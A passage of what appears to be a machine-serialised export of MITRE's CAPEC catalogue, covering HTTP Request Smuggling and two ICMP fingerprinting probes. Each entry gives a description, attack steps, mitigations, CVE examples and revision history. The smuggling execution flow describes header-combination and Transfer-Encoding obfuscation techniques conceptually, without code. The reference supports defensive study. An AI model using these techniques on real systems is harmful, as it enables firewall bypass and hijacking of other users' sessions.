or firmware will quote the first 8 bytes of the datagram triggering the error, but some IP stacks will quote more than the first 8 bytes of data.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19447 + Related_Attack_Pattern_19447 + + + + + + + + + + + + + + 312 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A tool capable of sending/receiving UDP datagram packets from a remote system to a closed port and receive an ICMP Error Message Type 3, "Port Unreachable..</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence19456 + Consequence_19456 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence19460 + Consequence_19460 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference19472 + Reference_19472 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference19473 + Reference_19473 + + + + + + + + + REF-123 + + + + + + + + + + + + #indReferenceReference19474 + Reference_19474 + + + + + + + + + REF-124 + + + + + + + + + + + + #indReferenceReference19475 + Reference_19475 + + + + + + + + + REF-262 + + + + + + + + + + + + #indContentHistoryContentHistory19477 + Content_History_19477 + + + + + + + + + + + + + + + + #indSubmissionSubmission19478 + Submission_19478 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification19483 + Modification_19483 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification19489 + Modification_19489 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification19495 + Modification_19495 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-33 + HTTP Request Smuggling + + + + + + + + + 33 + + + + + HTTP Request Smuggling + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages using various HTTP headers, request-line and body parameters as well as message sizes (denoted by the end of message signaled by a given HTTP header) by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to secretly send unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;See CanPrecede relationships for possible consequences.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A maliciously crafted HTTP request, which contains a second secretly embedded HTTP request is interpreted by an intermediary web proxy as single benign HTTP request, is forwarded to a back-end server, that interprets and parses the HTTP request as two authorized benign HTTP requests bypassing security controls.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack usually involves the misuse of the HTTP headers: Content-Length and Transfer-Encoding. These abuses are discussed in RFC 2616 #4.4.3 and section #4.2 and are related to ordering and precedence of these headers. [REF-38]&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Additionally this attack can be performed through modification and/or fuzzing of parameters composing the request-line of HTTP messages.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This attack is usually the result of the usage of outdated or incompatible HTTP protocol versions in the HTTP agents.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This differs from CAPEC-273 HTTP Response Smuggling, which is usually an attempt to compromise a client agent (e.g., web browser) by sending malicious content in HTTP responses from back-end HTTP infrastructure. HTTP Request Smuggling is an attempt to compromise a&lt;xhtml:i&gt;back-end HTTP agent&lt;/xhtml:i&gt;via HTTP Request messages.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;HTTP Splitting (CAPEC-105 and CAPEC-34) is different from HTTP Smuggling due to the fact that during implementation of asynchronous requests, HTTP Splitting requires the embedding/injection of arbitrary HTML headers and content through user input into browser cookies or Ajax web/browser object parameters like XMLHttpRequest.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + #indAlternateTermHTTPDesync + HTTP Desync + + + + + + + + + HTTP Desync + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Modification/manipulation of HTTP message headers, request-line and body parameters to disrupt and interfere in the interpretation and parsing of HTTP message lengths/boundaries for consecutive HTTP messages by HTTP agents in a HTTP chain or network path.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19525 + Related_Attack_Pattern_19525 + + + + + + + + + + + + + + 220 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19526 + Related_Attack_Pattern_19526 + + + + + + + + + + + + + + 273 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19527 + Related_Attack_Pattern_19527 + + + + + + + + + + + + + + 115 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19528 + Related_Attack_Pattern_19528 + + + + + + + + + + + + + + 141 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19529 + Related_Attack_Pattern_19529 + + + + + + + + + + + + + + 63 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19530 + Related_Attack_Pattern_19530 + + + + + + + + + + + + + + 593 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19531 + Related_Attack_Pattern_19531 + + + + + + + + + + + + + + 148 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19532 + Related_Attack_Pattern_19532 + + + + + + + + + + + + + + 154 + + + + + + + + + + + + #indAttackStepAttackStep19535 + Attack_Step_19535 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey network to identify target] The adversary performs network reconnaissance by monitoring relevant traffic to identify the network path and parsing of the HTTP messages with the goal of identifying potential targets.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Scan networks to fingerprint HTTP infrastructure and monitor HTTP traffic to identify HTTP network path with a tool such as a Network Protocol Analyzer.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep19541 + Attack_Step_19541 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify vulnerabilities in targeted HTTP infrastructure and technologies] The adversary sends a variety of benign/ambiguous HTTP requests to observe responses from HTTP infrastructure in order to identify differences/discrepancies in the interpretation and parsing of HTTP requests by examining supported HTTP protocol versions, message sizes, and HTTP headers.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep19546 + Attack_Step_19546 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Cause differential HTTP responses by experimenting with identified HTTP Request vulnerabilities] The adversary sends maliciously crafted HTTP requests to interfere with the parsing of intermediary and back-end HTTP infrastructure, followed by normal/benign HTTP request from the adversary or a random user. The intended consequences of the malicious HTTP requests will be observed in the HTTP infrastructure response to the normal/benign HTTP request to confirm applicability of identified vulnerabilities in the adversary's plan of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Continue the monitoring of HTTP traffic.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Utilize various combinations of HTTP Headers within a single HTTP Request such as: Content-Length &amp;amp; Transfer-Encoding (CL;TE), Transfer-Encoding &amp;amp; Content-Length (TE;CL), or double Transfer-Encoding (TE;TE), so that additional embedded requests or data in the body of the original request are unprocessed and treated as part of subsequent requests by the intended target HTTP agent.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;From these HTTP Header combinations the adversary observes any timing delays (usually in the form of HTTP 404 Error response) or any other unintended consequences.&lt;/xhtml:p&gt; + &lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;For CL;TE and TE;CL HTTP header combinations, the first HTTP agent, in the HTTP message path that receives the HTTP request, takes precedence or only processes one header but not the other, while the second/final HTTP agent processes the opposite header, allowing for embedded HTTP requests to be ignored and smuggled to the intended target HTTP agent.&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;For TE;TE HTTP headers combination, all HTTP agents in HTTP message path process Transfer-Encoding header, however, adversary obfuscation (see Mitigations for details) of one of the Transfer-Encoding headers, by not adhering strictly to the protocol specification, can cause it to be unprocessed/ignored by a designated HTTP agent, hence allowing embedded HTTP requests to be smuggled. .&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Construct a very large HTTP request using multiple Content-Length headers of various data lengths that can potentially cause subsequent requests to be ignored by an intermediary HTTP agent (firewall) and/or eventually parsed separately by the target HTTP agent (web server).&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Note that most modern HTTP infrastructure reject HTTP requests with multiple Content-Length headers.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Follow an unrecognized (sometimes a RFC compliant) HTTP header with a subsequent HTTP request to potentially cause the HTTP request to be ignored and interpreted as part of the preceding HTTP request.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep19565 + Attack_Step_19565 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Perform HTTP Request Smuggling attack] Using knowledge discovered in the experiment section above, smuggle a message to cause one of the consequences.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage techniques identified in the Experiment Phase.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An additional intermediary HTTP agent such as an application firewall or a web caching proxy between the adversary and the second agent such as a web server, that sends multiple HTTP messages over same network connection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Differences in the way the two HTTP agents parse and interpret HTTP requests and its headers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP agents running on HTTP/1.1 that allow for Keep Alive mode, Pipelined queries, and Chunked queries and responses.</xhtml:div> + + + + + + + + + + + + #indSkillSkill19578 + Skill_19578 + + + + + + + + + + + + + + Detailed knowledge on HTTP protocol: request and response messages structure and usage of specific headers. + + + + + + + + + + + + #indSkillSkill19579 + Skill_19579 + + + + + + + + + + + + + + Detailed knowledge on how specific HTTP agents receive, send, process, interpret, and parse a variety of HTTP messages and headers. + + + + + + + + + + + + #indSkillSkill19580 + Skill_19580 + + + + + + + + + + + + + + Possess knowledge on the exact details in the discrepancies between several targeted HTTP agents in path of an HTTP message in parsing its message structure and individual headers. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Tools capable of crafting malicious HTTP messages and monitoring HTTP message responses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Differences in requests processed by the two agents. This requires careful monitoring or a capable log analysis tool.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence19589 + Consequence_19589 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence19595 + Consequence_19595 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence19601 + Consequence_19601 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: evaluate HTTP agents prior to deployment for parsing/interpretation discrepancies.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: front-end HTTP agents notice ambiguous requests.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: back-end HTTP agents reject ambiguous requests and close the network connection.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disable reuse of back-end connections.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Use HTTP/2 for back-end connections.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Use the same web server software for front-end and back-end server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Utilize a Web Application Firewall (WAF) that has built-in mitigation to detect abnormal requests/responses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Prioritize Transfer-Encoding header over Content-Length, whenever an HTTP message contains both.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disallow HTTP messages with both Transfer-Encoding and Content-Length or Double Content-Length Headers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Disallow Malformed/Invalid Transfer-Encoding Headers used in obfuscation, such as:&lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;Headers with no space before the value “chunked”&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Headers with extra spaces&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Headers beginning with trailing characters&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Headers providing a value “chunk” instead of “chunked” (the server normalizes this as chunked encoding)&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Headers with multiple spaces before the value “chunked”&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Headers with quoted values (whether single or double quotations)&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Headers with CRLF characters before the value “chunked”&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Values with invalid characters&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Install latest vendor security patches available for both intermediary and back-end HTTP infrastructure (i.e. proxies and web servers)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Configuration: Ensure that HTTP infrastructure in the chain or network path utilize a strict uniform parsing process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Utilize intermediary HTTP infrastructure capable of filtering and/or sanitizing user-input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When using Haproxy 1.5.3 version as front-end proxy server with with Node.js version 14.13.1 or 12.19.0 as the back-end web server it is possible to use two same header fields for example: two Transfer-Encoding, Transfer-Encoding: chunked and Transfer-Encoding: chunked-false, to bypass Haproxy /flag URI restriction and receive the Haproxy flag value, since Node.js identifies the first header but ignores the second header. See also: CVE-2020-8287&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When using Sun Java System Web Proxy Server 3.x or 4.x in conjunction with Sun ONE/iPlanet 6.x, Sun Java System Application Server 7.x or 8.x, it is possible to bypass certain application firewall protections, hijack web sessions, perform Cross Site Scripting or poison the web proxy cache using HTTP Request Smuggling. Differences in the way HTTP requests are parsed by the Proxy Server and the Application Server enable malicious requests to be smuggled through to the Application Server, thereby exposing the Application Server to aforementioned attacks. See also: CVE-2006-6276&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Apache server 2.0.45 and version before 1.3.34, when used as a proxy, easily lead to web cache poisoning and bypassing of application firewall restrictions because of non-standard HTTP behavior. Although the HTTP/1.1 specification clearly states that a request with both "Content-Length" and a "Transfer-Encoding: chunked" headers is invalid, vulnerable versions of Apache accept such requests and reassemble the ones with "Transfer-Encoding: chunked" header without replacing the existing "Content-Length" header or adding its own. This leads to HTTP Request Smuggling using a request with a chunked body and a header with "Content-Length: 0". See also: CVE-2005-2088&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 444 + + + + + + + + + + + + #indTaxonomyMappingHTTPRequestSmuggling + HTTP Request Smuggling + + + + + + + + + + + + + + 26 + + + + + HTTP Request Smuggling + + + + + + + + + + + + #indReferenceReference19652 + Reference_19652 + + + + + + + + + REF-38 + + + + + + + + + + + + #indReferenceReference19653 + Reference_19653 + + + + + + + + + REF-117 + + + + + + + + + + + + #indReferenceReference19654 + Reference_19654 + + + + + + + + + REF-617 + + + + + + + + + + + + #indReferenceReference19655 + Reference_19655 + + + + + + + + + REF-672 + + + + + + + + + + + + #indReferenceReference19656 + Reference_19656 + + + + + + + + + REF-673 + + + + + + + + + + + + #indReferenceReference19657 + Reference_19657 + + + + + + + + + REF-674 + + + + + + + + + + + + #indReferenceReference19658 + Reference_19658 + + + + + + + + + REF-678 + + + + + + + + + + + + #indReferenceReference19659 + Reference_19659 + + + + + + + + + REF-681 + + + + + + + + + + + + #indReferenceReference19660 + Reference_19660 + + + + + + + + + REF-682 + + + + + + + + + + + + #indReferenceReference19661 + Reference_19661 + + + + + + + + + REF-683 + + + + + + + + + + + + #indReferenceReference19662 + Reference_19662 + + + + + + + + + REF-684 + + + + + + + + + + + + #indNoteNote19665 + Note_19665 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP Splitting – "the act of forcing a sender of (HTTP) messages to emit data stream consisting of more messages than the sender’s intension. The messages sent are 100% valid and RFC compliant" [REF-117].</xhtml:div> + + + + + + + + + + + + #indNoteNote19666 + Note_19666 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP Smuggling – "the act of forcing a sender of (HTTP) messages to emit data stream which may be parsed as a different set of messages (i.e. dislocated message boundaries) than the sender’s intention. This is done by virtue of forcing the sender to emit non-standard messages which can be interpreted in more than one way" [REF-117].</xhtml:div> + + + + + + + + + + + + #indNoteNote19667 + Note_19667 + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP Smuggling is an evolution of previous HTTP Splitting techniques which are commonly remediated against.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory19669 + Content_History_19669 + + + + + + + + + + + + + + + + #indSubmissionSubmission19670 + Submission_19670 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification19675 + Modification_19675 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Related_Attack_Patterns, Resources_Required + + + + + + + + + + + + #indModificationModification19681 + Modification_19681 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References + + + + + + + + + + + + #indModificationModification19687 + Modification_19687 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification19693 + Modification_19693 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification19699 + Modification_19699 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-10-21 + + + + + Updated @Status, Alternate_Terms, Consequences, Description, Example_Instances, Execution_Flow, Extended_Description, Indicators, Mitigations, Notes, Prerequisites, References, Related_Attack_Patterns, Related_Weaknesses, Resources_Required, Skills_Required + + + + + + + + + + + + #indModificationModification19705 + Modification_19705 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Alternate_Terms, Description, Extended_Description + + + + + + + + + + + + #CAPEC-330 + ICMP Error Message Echoing Integrity Probe + + + + + + + + + 330 + + + + + ICMP Error Message Echoing Integrity Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the integrity of data returned or "Quoted" from the originating request that generated the error message.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A tremendous amount of information about the host operating system can be deduced from its 'echoing' characteristics. Notably, inspection of key protocol header fields, including the echoed header fields of the encapsulating protocol can yield a wealth of data about the host operating system or firmware version.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;For this purpose "Port Unreachable" error messages are often used, as generating them requires the adversary to send a UDP datagram to a closed port on the target. When replying with an ICMP error message some IP/ICMP stack implementations change aspects of the IP header, change or reverse certain byte orders, reset certain field values to default values which differ between operating system and firmware implementations, and make other changes. Some IP/ICMP stacks are decidedly broken, indicating an idiosyncratic behavior that differs from the RFC specifications, such as the case when miscalculations affect a field value.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19724 + Related_Attack_Pattern_19724 + + + + + + + + + + + + + + 312 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to monitor and interact with network communications.Access to at least one host, and the privileges to interface with the network interface card.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A tool capable of sending/receiving UDP datagram packets from a remote system to a closed port and receive an ICMP Error Message Type 3, "Port Unreachable..</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence19733 + Consequence_19733 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence19737 + Consequence_19737 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 200 + + + + + + + + + + + + #indReferenceReference19749 + Reference_19749 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference19750 + Reference_19750 + + + + + + + + + REF-123 + + + + + + + + + + + + #indReferenceReference19751 + Reference_19751 + + + + + + + + + REF-124 + + + + + + + + + + + + #indReferenceReference19752 + Reference_19752 + + + + + + + + + REF-262 + + + + + + + + + + + + #indContentHistoryContentHistory19754 + Content_History_19754 + + + + + + + + + + + + + + + + #indSubmissionSubmission19755 + Submission_19755 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification19760 + Modification_19760 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Related_Attack_Patterns, Resources_Required, Typical_Likelihood_of_Exploit + + + + + + + + + + + + #indModificationModification19766 + Modification_19766 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification19772 + Modification_19772 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-331 + ICMP IP Total Length Field Probe + + + + + + + + + 331 + + + + + ICMP IP Total Length Field Probe + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary sends a UDP packet to a closed port on the target machine to solicit an IP Header's total length field value within the echoed 'Port Unreachable" error message. This type of behavior is useful for building a signature-base of operating system responses, particularly when error messages contain other types of information that is useful identifying specific operating system responses.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;RFC1122 specifies that the Header of the request must be echoed back when an error is sent in response, but some operating systems and firmware alter the integrity of the original header. Non-standard ICMP/IP implementations result in response that are useful for individuating remote operating system or router firmware versions. There are four general response types that can be used to distinguish operating systems apart: 1) the IP total length field may be calculated correctly, 2) an operating system may add 20 or more additional bytes to the length calculation, 3) the operating system may subtract 20 or more bytes from the correct length of the field or 4) the IP total length field is calculated with any other incorrect value.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern19789 + Related_Attack_Pattern_19789 + + + + + + + + + + + + + + 312 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The ability to monitor and interact with network communications. Access to at least one host, and the privileges to interface with the network interface card.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A tool capable of sending/receiving UDP datagram packets from a remote system to a closed port and receive an ICMP Error Message Type 3, "Port Unreachable."</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence19798 + Consequence_19798 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence19802 + Consequence_19802 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 204 + + + + + + + + + + + + #indReferenceReference19814 + Reference_19814 + + + + + + + + + REF-33 + + + + + Chapter 2: Scanning, pg. 56 + + + + + + + + + + + + #indReferenceReference19815 + Reference_19815 + + + + + + + + + REF-123 + + + + + + + + + + + + #indReferenceReference19816 + Reference_19816 + + + + + + + + + REF-124 + + + + + + + + + + + + #indReferenceReference19817 + Reference_19817 + + + + + + + + + REF-262 + + + + + + + + + + + + #indContentHistoryContentHistory19819 + Content_History_19819 + + + + + + + + + + + + + + + + 